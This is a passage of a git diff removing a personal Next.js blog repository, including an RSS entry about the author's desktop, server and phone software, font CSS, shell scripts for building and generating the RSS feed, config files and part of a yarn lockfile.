-deadd-notification-center, but that has waaaay too many haskell dependencies
-on arch, so I don't use that anymore.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- Global keybinds
- &lt;/strong&gt;
- :
- &lt;a href="https://www.nongnu.org/xbindkeys/xbindkeys.html"&gt;
- xbindkeys
- &lt;/a&gt;
- . Simple
-configuration, works flawlessly, 10/10.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- Compositor
- &lt;/strong&gt;
- :
- &lt;a href="https://github.com/yshui/picom"&gt;
- picom
- &lt;/a&gt;
- . It's a simple
-compositor. I use it to enable vsync for desktop windows, and I have it set
-up to only show a drop shadow on floating i3 windows.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;/ul&gt;
- &lt;h3 id="closed-source"&gt;
- Closed source
- &lt;/h3&gt;
- &lt;ul&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;a href="https://discord.com/"&gt;
- discord
- &lt;/a&gt;
- . Gamer. The only reason this is listed here
-is because I use discord with
- &lt;a href="https://github.com/rauenzi/BetterDiscordApp"&gt;
- betterdiscord
- &lt;/a&gt;
- (which
- &lt;em&gt;
- is
- &lt;/em&gt;
- open-source). Betterdiscord allows you to use custom css themes, custom
-plugins and a whole bunch of other cool stuff that regular discord doesn't
-do. It's technically against TOS, but I don't really care as I only use
-quality of life improvement plugins.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;a href="https://figma.com"&gt;
- figma
- &lt;/a&gt;
- . It's the designing software that I use to create
-user interface or website mockups. It's easily accessible though a browser,
-and it uses webassembly so it's also decently fast. It's free for personal
-use.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;/ul&gt;
- &lt;h2 id="server-software"&gt;
- Server software
- &lt;/h2&gt;
- &lt;p&gt;
- This is the software that runs on my home server.
- &lt;/p&gt;
- &lt;h3 id="email"&gt;
- Email
- &lt;/h3&gt;
- &lt;p&gt;
- I used
- &lt;a href="http://lukesmith.xyz/"&gt;
- Luke Smith's
- &lt;/a&gt;
- &lt;a href="https://github.com/LukeSmithxyz/emailwiz"&gt;
- emailwiz
- &lt;/a&gt;
- to set up my email server.
-The script installs and configures an email setup with
- &lt;a href="http://www.postfix.org/"&gt;
- postfix
- &lt;/a&gt;
- ,
- &lt;a href="https://www.dovecot.org/"&gt;
- dovecot
- &lt;/a&gt;
- ,
- &lt;a href="https://spamassassin.apache.org/"&gt;
- spamassassin
- &lt;/a&gt;
- and
- &lt;a href="http://www.opendkim.org/"&gt;
- opendkim
- &lt;/a&gt;
- .
- &lt;/p&gt;
- &lt;h3 id="etesync"&gt;
- Etesync
- &lt;/h3&gt;
- &lt;p&gt;
- I run my own
- &lt;a href="https://www.etesync.com/"&gt;
- etesync
- &lt;/a&gt;
- server for synchronizing my
-to-do lists, calendar and contacts. It's relatively easy to set up, and has a
-web interface that you can use with your own self-hosted instance.
- &lt;/p&gt;
- &lt;h3 id="bitwarden"&gt;
- Bitwarden
- &lt;/h3&gt;
- &lt;p&gt;
- I also run my own
- &lt;a href="https://github.com/bitwarden/server"&gt;
- bitwarden
- &lt;/a&gt;
- server. It
-uses docker with docker-compose, which are two things that I'm supposed to know
-about, but I don't.
- &lt;/p&gt;
- &lt;p&gt;
- I'm working on a connect 4 website myself, and I'm planning on learning to use
-docker with docker-compose to make it easier to run the seperate parts that are
-needed to host the project.
- &lt;/p&gt;
- &lt;h3 id="git"&gt;
- Git
- &lt;/h3&gt;
- &lt;p&gt;
- I have a
- &lt;a href="https://git.zx2c4.com/cgit/about/"&gt;
- cgit
- &lt;/a&gt;
- server to host my git
-repositories on
- &lt;a href="https://git.pipeframe.xyz"&gt;
- https://git.pipeframe.xyz
- &lt;/a&gt;
- , and I use
- &lt;a href="https://gitolite.com/gitolite/"&gt;
- gitolite
- &lt;/a&gt;
- for ssh git push access. Cgit is
-very easy to set up, and I like it very much. Gitolite on the other hand is a
-pain in the ass to set up, because the documentation is not that great. If
-you're planning on using gitolite on your own server, set the umask in
- &lt;code&gt;
- ~/.gitolite.rc
- &lt;/code&gt;
- of your server's git account to
- &lt;code&gt;
- 0022
- &lt;/code&gt;
- .
- &lt;/p&gt;
- &lt;h3 id="sftp"&gt;
- SFTP
- &lt;/h3&gt;
- &lt;p&gt;
- I have two semi-public sftp accounts set up on my server:
- &lt;code&gt;
- media
- &lt;/code&gt;
- and
- &lt;code&gt;
- sftp
- &lt;/code&gt;
- .
- &lt;code&gt;
- sftp
- &lt;/code&gt;
- is for generic file sharing, and
- &lt;code&gt;
- media
- &lt;/code&gt;
- is for my media. Both accounts
-have tty login disabled and are chroot-jailed to /var/media and /var/sftp.
- &lt;/p&gt;
- &lt;h2 id="phone-apps"&gt;
- Phone apps
- &lt;/h2&gt;
- &lt;p&gt;
- These are the apps that I use on my phone. I have a Nokia 6 (2017), it's pretty
-shitty but I don't really use my phone. I used to have it rooted, but the root
-guide on xda forums was written by some Chinese guy, and it came with a Chinese
-android rom, which caused me to miss a lot of calls.
- &lt;/p&gt;
- &lt;h3 id="open-source"&gt;
- Open source
- &lt;/h3&gt;
- &lt;ul&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- One-time password generator
- &lt;/strong&gt;
- :
- &lt;a href="https://github.com/andOTP/andOTP"&gt;
- andotp
- &lt;/a&gt;
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- App store
- &lt;/strong&gt;
- :
- &lt;a href="https://gitlab.com/AuroraOSS/AuroraStore"&gt;
- aurora store
- &lt;/a&gt;
- . This
-app works better when you're rooted, but it's way better than the google play
-store.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- App store
- &lt;/strong&gt;
- :
- &lt;a href="https://gitlab.com/AuroraOSS/auroradroid"&gt;
- aurora f-droid
- &lt;/a&gt;
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- Password manager
- &lt;/strong&gt;
- :
- &lt;a href="https://github.com/bitwarden/mobile"&gt;
- bitwarden
- &lt;/a&gt;
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- Browser
- &lt;/strong&gt;
- :
- &lt;a href="https://www.bromite.org/"&gt;
- bromite
- &lt;/a&gt;
- . This is basically ungoogled
-chromium but for mobile.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- Calendar
- &lt;/strong&gt;
- :
- &lt;a href="https://github.com/Etar-Group/Etar-Calendar"&gt;
- etar
- &lt;/a&gt;
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;a href="https://github.com/etesync/android"&gt;
- etesync
- &lt;/a&gt;
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- File browser
- &lt;/strong&gt;
- :
- &lt;a href="https://github.com/zhanghai/MaterialFiles"&gt;
- material
-files
- &lt;/a&gt;
- . It looks sexy, it's free,
-it's awesome.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- Email client
- &lt;/strong&gt;
- :
- &lt;a href="https://email.faircode.eu/"&gt;
- fairemail
- &lt;/a&gt;
- . STOP CRYING.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- Maps
- &lt;/strong&gt;
- :
- &lt;a href="https://osmand.net/"&gt;
- osmand
- &lt;/a&gt;
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- Music player
- &lt;/strong&gt;
- :
- &lt;a href="https://www.shuttlemusicplayer.com/"&gt;
- shuttle
- &lt;/a&gt;
- . It looks
-sexy, it's free, it's awesome.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- Instant messenger
- &lt;/strong&gt;
- :
- &lt;a href="https://signal.org/"&gt;
- signal
- &lt;/a&gt;
- .
- &lt;a href="https://twitter.com/elonmusk/status/1347165127036977153"&gt;
- papa musk said
-it
- &lt;/a&gt;
- .
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- Manga reader
- &lt;/strong&gt;
- :
- &lt;a href="https://tachiyomi.org/"&gt;
- tachiyomi
- &lt;/a&gt;
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- To-do lists
- &lt;/strong&gt;
- :
- &lt;a href="https://tasks.org/"&gt;
- tasks.org
- &lt;/a&gt;
- . This is easily the best
-to-do app I've ever used, and it integrated very well with etesync.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;/ul&gt;
- &lt;h3 id="closed-source"&gt;
- Closed source
- &lt;/h3&gt;
- &lt;ul&gt;
- &lt;li&gt;
- &lt;strong&gt;
- Reddit client
- &lt;/strong&gt;
- :
- &lt;a href="https://play.google.com/store/apps/details?id=com.laurencedawson.reddit_sync"&gt;
- sync
- &lt;/a&gt;
- &lt;/li&gt;
- &lt;/ul&gt;
-&lt;/div&gt;</description>
- </item>
- </channel>
-</rss>
diff --git a/public/font/font.css b/public/font/font.css
deleted file mode 100644
index 61c9755..0000000
--- a/public/font/font.css
+++ /dev/null
@@ -1,115 +0,0 @@
-@font-face {
- font-family: 'Inter';
- font-style: normal;
- font-weight: 400;
- font-display: swap;
- src: url("./inter/Inter-Regular.woff2?v=3.15") format("woff2"),
- url("./inter/Inter-Regular.woff?v=3.15") format("woff");
-}
-@font-face {
- font-family: 'Inter';
- font-style: italic;
- font-weight: 400;
- font-display: swap;
- src: url("./inter/Inter-Italic.woff2?v=3.15") format("woff2"),
- url("./inter/Inter-Italic.woff?v=3.15") format("woff");
-}
-
-@font-face {
- font-family: 'Inter';
- font-style: normal;
- font-weight: 500;
- font-display: swap;
- src: url("./inter/Inter-Medium.woff2?v=3.15") format("woff2"),
- url("./inter/Inter-Medium.woff?v=3.15") format("woff");
-}
-@font-face {
- font-family: 'Inter';
- font-style: italic;
- font-weight: 500;
- font-display: swap;
- src: url("./inter/Inter-MediumItalic.woff2?v=3.15") format("woff2"),
- url("./inter/Inter-MediumItalic.woff?v=3.15") format("woff");
-}
-
-@font-face {
- font-family: 'Inter';
- font-style: normal;
- font-weight: 600;
- font-display: swap;
- src: url("./inter/Inter-SemiBold.woff2?v=3.15") format("woff2"),
- url("./inter/Inter-SemiBold.woff?v=3.15") format("woff");
-}
-@font-face {
- font-family: 'Inter';
- font-style: italic;
- font-weight: 600;
- font-display: swap;
- src: url("./inter/Inter-SemiBoldItalic.woff2?v=3.15") format("woff2"),
- url("./inter/Inter-SemiBoldItalic.woff?v=3.15") format("woff");
-}
-
-@font-face {
- font-family: 'Inter';
- font-style: normal;
- font-weight: 700;
- font-display: swap;
- src: url("./inter/Inter-Bold.woff2?v=3.15") format("woff2"),
- url("./inter/Inter-Bold.woff?v=3.15") format("woff");
-}
-@font-face {
- font-family: 'Inter';
- font-style: italic;
- font-weight: 700;
- font-display: swap;
- src: url("./inter/Inter-BoldItalic.woff2?v=3.15") format("woff2"),
- url("./inter/Inter-BoldItalic.woff?v=3.15") format("woff");
-}
-
-
-
-@font-face {
- font-family: 'JetBrainsMono';
- font-style: normal;
- font-weight: 400;
- font-display: swap;
- src: url("./jetbrainsmono/JetBrainsMono-Regular.woff2") format("woff2");
-}
-@font-face {
- font-family: 'JetBrainsMono';
- font-style: italic;
- font-weight: 400;
- font-display: swap;
- src: url("./jetbrainsmono/JetBrainsMono-Italic.woff2") format("woff2");
-}
-
-@font-face {
- font-family: 'JetBrainsMono';
- font-style: normal;
- font-weight: 500;
- font-display: swap;
- src: url("./jetbrainsmono/JetBrainsMono-Medium.woff2") format("woff2");
-}
-@font-face {
- font-family: 'JetBrainsMono';
- font-style: italic;
- font-weight: 500;
- font-display: swap;
- src: url("./jetbrainsmono/JetBrainsMono-MediumItalic.woff2") format("woff2");
-}
-
-@font-face {
- font-family: 'JetBrainsMono';
- font-style: normal;
- font-weight: 700;
- font-display: swap;
- src: url("./jetbrainsmono/JetBrainsMono-Bold.woff2") format("woff2");
-}
-@font-face {
- font-family: 'JetBrainsMono';
- font-style: italic;
- font-weight: 700;
- font-display: swap;
- src: url("./jetbrainsmono/JetBrainsMono-BoldItalic.woff2") format("woff2");
-}
-
diff --git a/public/font/inter/Inter-Bold.woff b/public/font/inter/Inter-Bold.woff
deleted file mode 100644
index 80f70f0..0000000
--- a/public/font/inter/Inter-Bold.woff
+++ /dev/null
Binary files differ
diff --git a/public/font/inter/Inter-Bold.woff2 b/public/font/inter/Inter-Bold.woff2
deleted file mode 100644
index 622e5f1..0000000
--- a/public/font/inter/Inter-Bold.woff2
+++ /dev/null
Binary files differ
diff --git a/public/font/inter/Inter-BoldItalic.woff b/public/font/inter/Inter-BoldItalic.woff
deleted file mode 100644
index 03238dd..0000000
--- a/public/font/inter/Inter-BoldItalic.woff
+++ /dev/null
Binary files differ
diff --git a/public/font/inter/Inter-BoldItalic.woff2 b/public/font/inter/Inter-BoldItalic.woff2
deleted file mode 100644
index 1b2dafb..0000000
--- a/public/font/inter/Inter-BoldItalic.woff2
+++ /dev/null
Binary files differ
diff --git a/public/font/inter/Inter-Italic.woff b/public/font/inter/Inter-Italic.woff
deleted file mode 100644
index 9c21aed..0000000
--- a/public/font/inter/Inter-Italic.woff
+++ /dev/null
Binary files differ
diff --git a/public/font/inter/Inter-Italic.woff2 b/public/font/inter/Inter-Italic.woff2
deleted file mode 100644
index 734944b..0000000
--- a/public/font/inter/Inter-Italic.woff2
+++ /dev/null
Binary files differ
diff --git a/public/font/inter/Inter-Medium.woff b/public/font/inter/Inter-Medium.woff
deleted file mode 100644
index 1d50f80..0000000
--- a/public/font/inter/Inter-Medium.woff
+++ /dev/null
Binary files differ
diff --git a/public/font/inter/Inter-Medium.woff2 b/public/font/inter/Inter-Medium.woff2
deleted file mode 100644
index ffb4206..0000000
--- a/public/font/inter/Inter-Medium.woff2
+++ /dev/null
Binary files differ
diff --git a/public/font/inter/Inter-MediumItalic.woff b/public/font/inter/Inter-MediumItalic.woff
deleted file mode 100644
index 9eb5b9d..0000000
--- a/public/font/inter/Inter-MediumItalic.woff
+++ /dev/null
Binary files differ
diff --git a/public/font/inter/Inter-MediumItalic.woff2 b/public/font/inter/Inter-MediumItalic.woff2
deleted file mode 100644
index ebee655..0000000
--- a/public/font/inter/Inter-MediumItalic.woff2
+++ /dev/null
Binary files differ
diff --git a/public/font/inter/Inter-Regular.woff b/public/font/inter/Inter-Regular.woff
deleted file mode 100644
index 7cb4990..0000000
--- a/public/font/inter/Inter-Regular.woff
+++ /dev/null
Binary files differ
diff --git a/public/font/inter/Inter-Regular.woff2 b/public/font/inter/Inter-Regular.woff2
deleted file mode 100644
index 66691b8..0000000
--- a/public/font/inter/Inter-Regular.woff2
+++ /dev/null
Binary files differ
diff --git a/public/font/inter/Inter-SemiBold.woff b/public/font/inter/Inter-SemiBold.woff
deleted file mode 100644
index 490bd9d..0000000
--- a/public/font/inter/Inter-SemiBold.woff
+++ /dev/null
Binary files differ
diff --git a/public/font/inter/Inter-SemiBold.woff2 b/public/font/inter/Inter-SemiBold.woff2
deleted file mode 100644
index 9fd7726..0000000
--- a/public/font/inter/Inter-SemiBold.woff2
+++ /dev/null
Binary files differ
diff --git a/public/font/inter/Inter-SemiBoldItalic.woff b/public/font/inter/Inter-SemiBoldItalic.woff
deleted file mode 100644
index 839fc3d..0000000
--- a/public/font/inter/Inter-SemiBoldItalic.woff
+++ /dev/null
Binary files differ
diff --git a/public/font/inter/Inter-SemiBoldItalic.woff2 b/public/font/inter/Inter-SemiBoldItalic.woff2
deleted file mode 100644
index 2492569..0000000
--- a/public/font/inter/Inter-SemiBoldItalic.woff2
+++ /dev/null
Binary files differ
diff --git a/public/font/jetbrainsmono/JetBrainsMono-Bold.woff2 b/public/font/jetbrainsmono/JetBrainsMono-Bold.woff2
deleted file mode 100644
index 07fe5d7..0000000
--- a/public/font/jetbrainsmono/JetBrainsMono-Bold.woff2
+++ /dev/null
Binary files differ
diff --git a/public/font/jetbrainsmono/JetBrainsMono-BoldItalic.woff2 b/public/font/jetbrainsmono/JetBrainsMono-BoldItalic.woff2
deleted file mode 100644
index 57263ef..0000000
--- a/public/font/jetbrainsmono/JetBrainsMono-BoldItalic.woff2
+++ /dev/null
Binary files differ
diff --git a/public/font/jetbrainsmono/JetBrainsMono-Italic.woff2 b/public/font/jetbrainsmono/JetBrainsMono-Italic.woff2
deleted file mode 100644
index cf9e8ef..0000000
--- a/public/font/jetbrainsmono/JetBrainsMono-Italic.woff2
+++ /dev/null
Binary files differ
diff --git a/public/font/jetbrainsmono/JetBrainsMono-Medium.woff2 b/public/font/jetbrainsmono/JetBrainsMono-Medium.woff2
deleted file mode 100644
index b4d9438..0000000
--- a/public/font/jetbrainsmono/JetBrainsMono-Medium.woff2
+++ /dev/null
Binary files differ
diff --git a/public/font/jetbrainsmono/JetBrainsMono-MediumItalic.woff2 b/public/font/jetbrainsmono/JetBrainsMono-MediumItalic.woff2
deleted file mode 100644
index 3ac249b..0000000
--- a/public/font/jetbrainsmono/JetBrainsMono-MediumItalic.woff2
+++ /dev/null
Binary files differ
diff --git a/public/font/jetbrainsmono/JetBrainsMono-Regular.woff2 b/public/font/jetbrainsmono/JetBrainsMono-Regular.woff2
deleted file mode 100644
index cc9a1ae..0000000
--- a/public/font/jetbrainsmono/JetBrainsMono-Regular.woff2
+++ /dev/null
Binary files differ
diff --git a/public/robots.txt b/public/robots.txt
deleted file mode 100644
index 5b6f9d8..0000000
--- a/public/robots.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-User-agent: *
-Disallow: /atom.xml
diff --git a/readme.md b/readme.md
deleted file mode 100644
index 4daca90..0000000
--- a/readme.md
+++ /dev/null
@@ -1,16 +0,0 @@
-# blog
-
-this is the source of my blog website
-
-## important locations for stuff
-
-|**what** | **location** |
-|----------------------|--------------------|
-|**home page content** | `posts/index.md` |
-|**posts** | `posts/*.md` |
-|**pinned posts** | `pages/index.tsx` |
-|**images** | `public/img/*` |
-|**rss feed info** | `rss/base.xml` |
-|**theme stuff** | `styles/theme.css` |
-
-it's mit licensed so you can basically shamelessly copy it and i won't cry
diff --git a/robots.txt b/robots.txt
new file mode 100644
index 0000000..7d329b1
--- /dev/null
+++ b/robots.txt
@@ -0,0 +1 @@
+User-agent: *
diff --git a/rss/base.xml b/rss/base.xml
deleted file mode 100644
index daa65ad..0000000
--- a/rss/base.xml
+++ /dev/null
@@ -1,10 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
- <channel>
- <title>Loek's excruciatingly interesting blog</title>
- <description>This is where I post updates on things that I do</description>
- <language>en-us</language>
- <link>https://blog.pipeframe.xyz/atom.xml</link>
- <atom:link href="https://blog.pipeframe.xyz/atom.xml" rel="self" type="application/rss+xml" />
- </channel>
-</rss>
diff --git a/rss/genrss b/rss/genrss
deleted file mode 100755
index 9c3c19c..0000000
--- a/rss/genrss
+++ /dev/null
@@ -1,23 +0,0 @@
-#!/bin/sh
-
-cd $(dirname $0)
-
-alias xml="xmlstarlet"
-
-cp base.xml atom.xml
-for file in ../out/post/*; do
- base=$(basename "$file" .html)
-
- xml ed -L \
- -s '/rss/channel' -t elem -n item \
- --var newitem '$prev' \
- -s '$newitem' -t elem -n title -v "$(../scripts/meta title "../posts/${base}.md" | jq --raw-output)" \
- -s '$newitem' -t elem -n guid -v "$base" \
- -s '$newitem' -t elem -n link -v "/post/$base" \
- -s '$newitem' -t elem -n pubDate -v "$(../scripts/meta date "../posts/${base}.md" | jq --raw-output)" \
- -s '$newitem' -t elem -n description -v "$(pup -f "../out/post/${base}.html" .contentWrapper)" \
- atom.xml
-done
-
-mv atom.xml ../out/
-
diff --git a/scripts/build b/scripts/build
deleted file mode 100755
index 0a5e246..0000000
--- a/scripts/build
+++ /dev/null
@@ -1,29 +0,0 @@
-#!/bin/sh
-
-web_root=/var/www/blog
-
-cd $(dirname $0)
-
-echo "-> generating posts.json..."
-./genposts
-
-cd ..
-
-echo "-> building static files..."
-npx next build
-
-echo "-> exporting static files..."
-npx next export
-
-echo "-> generating atom.xml..."
-./rss/genrss
-
-echo "-> cleaning $web_root..."
-rm -rf $web_root/*
-
-echo "-> moving static files to $web_root..."
-cp -rv out/* $web_root
-
-echo "-> cleaning out directory..."
-rm -rfv out
-
diff --git a/scripts/genposts b/scripts/genposts
deleted file mode 100755
index 22459fb..0000000
--- a/scripts/genposts
+++ /dev/null
@@ -1,9 +0,0 @@
-#!/bin/sh
-
-cd $(dirname $0)
-
-./posts |\
- jq ".posts |= sort_by(.date)" |\
- jq -c \
- > ../public/posts.json
-
diff --git a/scripts/meta b/scripts/meta
deleted file mode 100755
index f7a3f84..0000000
--- a/scripts/meta
+++ /dev/null
@@ -1,22 +0,0 @@
-#!/bin/sh
-
-tag_name=$1
-filename=$2
-
-output=$(grep -Poh "^\[meta\]:\s+<$tag_name>\s+\(\K(.+)(?=\)$)" $filename)
-
-if [ "$tag_name" = "tags" ]; then
- echo $output |\
- sed "s/,\s*/\n/g" |\
- sed -z '$ s/\n$//' |\
- jq --raw-input --slurp 'split("\n")'
-else
- if [ "$output" = "" ]; then
- echo "" | jq --raw-input
- else
- echo $output |\
- sed -z '$ s/\n$//' |\
- jq --raw-input
- fi
-fi
-
diff --git a/scripts/postinfo b/scripts/postinfo
deleted file mode 100755
index d6da015..0000000
--- a/scripts/postinfo
+++ /dev/null
@@ -1,24 +0,0 @@
-#!/bin/sh
-
-cd "$(dirname $0)"
-
-filename=$1
-
-jq -n \
- --argjson title "$(./meta title $filename)" \
- --argjson subtitle "$(./meta subtitle $filename)" \
- --argjson author "$(./meta author $filename)" \
- --argjson date "$(./meta date $filename)" \
- --argjson tags "$(./meta tags $filename)" \
- --argjson cover "$(./meta cover $filename)" \
- --argjson id "$(basename $filename .md | jq --raw-input)" \
-'{
- "title": $title,
- "subtitle": $subtitle,
- "author": $author,
- "date": $date,
- "tags": $tags,
- "cover": $cover,
- "id": $id
-}'
-
diff --git a/scripts/posts b/scripts/posts
deleted file mode 100755
index 12900e1..0000000
--- a/scripts/posts
+++ /dev/null
@@ -1,16 +0,0 @@
-#!/bin/sh
-
-postsmeta=$( find ../posts \
- -name "*.md" \
- -type f \
- -exec ./postinfo {} \; |\
- jq -s '.')
-
-jq -n \
- --argjson valid_tags "$(./tags)" \
- --argjson posts "$postsmeta" \
-'{
- "valid_tags": $valid_tags,
- "posts": $posts
-}'
-
diff --git a/scripts/tags b/scripts/tags
deleted file mode 100755
index c0e784b..0000000
--- a/scripts/tags
+++ /dev/null
@@ -1,10 +0,0 @@
-#!/bin/sh
-
-grep -Proh \
- "^\[meta\]:\s+<tags>\s+\(\K(.+)(?=\)$)" ../posts |\
- sed "s/,\s*/\n/g" |\
- sort |\
- uniq |\
- sed -z '$ s/\n$//' |\
- jq --raw-input --slurp 'split("\n")'
-
diff --git a/tsconfig.json b/tsconfig.json
deleted file mode 100644
index 2ba1e4f..0000000
--- a/tsconfig.json
+++ /dev/null
@@ -1,29 +0,0 @@
-{
- "compilerOptions": {
- "target": "es5",
- "lib": [
- "dom",
- "dom.iterable",
- "esnext"
- ],
- "allowJs": true,
- "skipLibCheck": true,
- "strict": false,
- "forceConsistentCasingInFileNames": true,
- "noEmit": true,
- "esModuleInterop": true,
- "module": "esnext",
- "moduleResolution": "node",
- "resolveJsonModule": true,
- "isolatedModules": true,
- "jsx": "preserve"
- },
- "include": [
- "next-env.d.ts",
- "**/*.ts",
- "**/*.tsx"
- ],
- "exclude": [
- "node_modules"
- ]
-}
diff --git a/yarn.lock b/yarn.lock
deleted file mode 100644
index d97882f..0000000
--- a/yarn.lock
+++ /dev/null
@@ -1,2480 +0,0 @@
-# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
-# yarn lockfile v1
-
-
-"@babel/code-frame@7.12.11":
- version "7.12.11"
- resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.12.11.tgz#f4ad435aa263db935b8f10f2c552d23fb716a63f"
- integrity sha512-Zt1yodBx1UcyiePMSkWnU4hPqhwq7hGi2nFL1LeA3EUl+q2LQx16MISgJ0+z7dnmgvP9QtIleuETGOiOH1RcIw==
- dependencies:
- "@babel/highlight" "^7.10.4"
-
-"@babel/helper-validator-identifier@^7.12.11":
- version "7.12.11"
- resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz#c9a1f021917dcb5ccf0d4e453e399022981fc9ed"
- integrity sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==
-
-"@babel/highlight@^7.10.4":
- version "7.13.10"
- resolved "https://registry.yarnpkg.com/@babel/highlight/-/highlight-7.13.10.tgz#a8b2a66148f5b27d666b15d81774347a731d52d1"
- integrity sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==
- dependencies:
- "@babel/helper-validator-identifier" "^7.12.11"
- chalk "^2.0.0"
- js-tokens "^4.0.0"
-
-"@babel/runtime@7.12.5":
- version "7.12.5"
- resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.12.5.tgz#410e7e487441e1b360c29be715d870d9b985882e"
- integrity sha512-plcc+hbExy3McchJCEQG3knOsuh3HH+Prx1P6cLIkET/0dLuQDEnrT+s27Axgc9bqfsmNUNHfscgMUdBpC9xfg==
- dependencies:
- regenerator-runtime "^0.13.4"
-
-"@babel/runtime@^7.3.1", "@babel/runtime@^7.4.4", "@babel/runtime@^7.5.5", "@babel/runtime@^7.8.3", "@babel/runtime@^7.8.7":
- version "7.13.10"
- resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.13.10.tgz#47d42a57b6095f4468da440388fdbad8bebf0d7d"
- integrity sha512-4QPkjJq6Ns3V/RgpEahRk+AGfL0eO6RHHtTWoNNr5mO49G6B5+X6d6THgWEAvTrznU5xYpbAlVKRYcsCgh/Akw==
- dependencies:
- regenerator-runtime "^0.13.4"
-
-"@babel/types@7.8.3":
- version "7.8.3"
- resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.8.3.tgz#5a383dffa5416db1b73dedffd311ffd0788fb31c"
- integrity sha512-jBD+G8+LWpMBBWvVcdr4QysjUE4mU/syrhN17o1u3gx0/WzJB1kwiVZAXRtWbsIPOwW8pF/YJV5+nmetPzepXg==
- dependencies:
- esutils "^2.0.2"
- lodash "^4.17.13"
- to-fast-properties "^2.0.0"
-
-"@emotion/hash@^0.8.0":
- version "0.8.0"
- resolved "https://registry.yarnpkg.com/@emotion/hash/-/hash-0.8.0.tgz#bbbff68978fefdbe68ccb533bc8cbe1d1afb5413"
- integrity sha512-kBJtf7PH6aWwZ6fka3zQ0p6SBYzx4fl1LoZXE2RrnYST9Xljm7WfKJrU4g/Xr3Beg72MLrp1AWNUmuYJTL7Cow==
-
-"@hapi/accept@5.0.1":
- version "5.0.1"
- resolved "https://registry.yarnpkg.com/@hapi/accept/-/accept-5.0.1.tgz#068553e867f0f63225a506ed74e899441af53e10"
- integrity sha512-fMr4d7zLzsAXo28PRRQPXR1o2Wmu+6z+VY1UzDp0iFo13Twj8WePakwXBiqn3E1aAlTpSNzCXdnnQXFhst8h8Q==
- dependencies:
- "@hapi/boom" "9.x.x"
- "@hapi/hoek" "9.x.x"
-
-"@hapi/boom@9.x.x":
- version "9.1.2"
- resolved "https://registry.yarnpkg.com/@hapi/boom/-/boom-9.1.2.tgz#48bd41d67437164a2d636e3b5bc954f8c8dc5e38"
- integrity sha512-uJEJtiNHzKw80JpngDGBCGAmWjBtzxDCz17A9NO2zCi8LLBlb5Frpq4pXwyN+2JQMod4pKz5BALwyneCgDg89Q==
- dependencies:
- "@hapi/hoek" "9.x.x"
-
-"@hapi/hoek@9.x.x":
- version "9.1.1"
- resolved "https://registry.yarnpkg.com/@hapi/hoek/-/hoek-9.1.1.tgz#9daf5745156fd84b8e9889a2dc721f0c58e894aa"
- integrity sha512-CAEbWH7OIur6jEOzaai83jq3FmKmv4PmX1JYfs9IrYcGEVI/lyL1EXJGCj7eFVJ0bg5QR8LMxBlEtA+xKiLpFw==
-
-"@material-ui/core@^4.11.3":
- version "4.11.3"
- resolved "https://registry.yarnpkg.com/@material-ui/core/-/core-4.11.3.tgz#f22e41775b0bd075e36a7a093d43951bf7f63850"
- integrity sha512-Adt40rGW6Uds+cAyk3pVgcErpzU/qxc7KBR94jFHBYretU4AtWZltYcNsbeMn9tXL86jjVL1kuGcIHsgLgFGRw==
- dependencies:
- "@babel/runtime" "^7.4.4"
- "@material-ui/styles" "^4.11.3"
- "@material-ui/system" "^4.11.3"
- "@material-ui/types" "^5.1.0"
- "@material-ui/utils" "^4.11.2"
- "@types/react-transition-group" "^4.2.0"
- clsx "^1.0.4"
- hoist-non-react-statics "^3.3.2"
- popper.js "1.16.1-lts"
- prop-types "^15.7.2"
- react-is "^16.8.0 || ^17.0.0"
- react-transition-group "^4.4.0"
-
-"@material-ui/icons@^4.11.2":
